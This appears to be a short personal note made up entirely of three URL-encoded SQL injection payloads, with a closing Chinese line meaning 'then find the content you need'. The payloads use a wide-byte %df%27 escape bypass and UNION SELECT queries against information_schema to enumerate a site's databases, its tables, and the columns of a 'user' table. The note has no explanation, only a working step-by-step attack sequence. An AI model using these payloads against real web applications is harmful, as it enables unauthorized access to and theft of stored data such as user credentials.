?id=1.1%df%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%20--+
?id=1.1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+
?id=1.1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572%20--+
然后找需要的内容!!!